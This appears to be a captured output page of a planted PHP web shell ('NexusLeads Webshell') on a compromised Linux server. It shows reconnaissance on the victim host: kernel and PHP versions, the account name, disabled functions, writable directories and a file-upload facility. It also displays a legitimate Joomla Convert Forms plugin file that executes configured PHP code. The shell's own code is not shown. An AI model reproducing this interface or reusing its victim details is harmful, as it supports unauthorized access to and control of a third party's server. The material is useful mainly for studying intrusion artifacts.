NexusLeads Webshell
NexusLeads


Server : LiteSpeed
System : Linux server 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : alsaif ( 1057)
PHP Version : 7.4.33
Disable Function : show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/alsaif/public_html/plugins/convertformsapps/php/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/alsaif/public_html/plugins/convertformsapps/php/php.php
<?php

/**
 * @package         Convert Forms
 * @version         4.3.3 Pro
 * 
 * @author          Tassos Marinos <info@tassos.gr>
 * @link            https://www.tassos.gr
 * @copyright       Copyright © 2023 Tassos All Rights Reserved
 * @license         GNU GPLv3 <http://www.gnu.org/licenses/gpl.html> or later
*/

defined('_JEXEC') or die('Restricted access');

use NRFramework\Executer;
use Joomla\CMS\Language\Text;
use ConvertForms\Tasks\App;

class plgConvertFormsAppsPHP extends App
{
	/**
	 * The trigger that sends the email
	 *
	 * @return void
	 */
	public function actionPHP()
	{
        try
        {
            $executer = new Executer($this->options['php'], $this->payload);
            return $executer->run();
        } catch (\Throwable $th)
        {
            $this->setError($th->getMessage());
        }
	}

    /**
     * Get a list with the fields needed to setup the app's event.
     *
     * @return array
     */
	public function getActionPHPSetupFields()
	{
        return [
            [
                'name' => Text::_('COM_CONVERTFORMS_APP_SETUP_ACTION'),
                'fields' => [
                    $this->field('php', ['type' => 'textarea']),
                ]
            ]
        ];
	}

    /**
     * Override the die() method to not include the app's name in the error
     *
     * @param  string $error    The error message
     * 
     * @return void
     */
    public function die($error = null)
    {
        $message = is_null($error) ? $this->errors[0] : $error;
        throw new \Exception($message);
    }
}

NexusLeads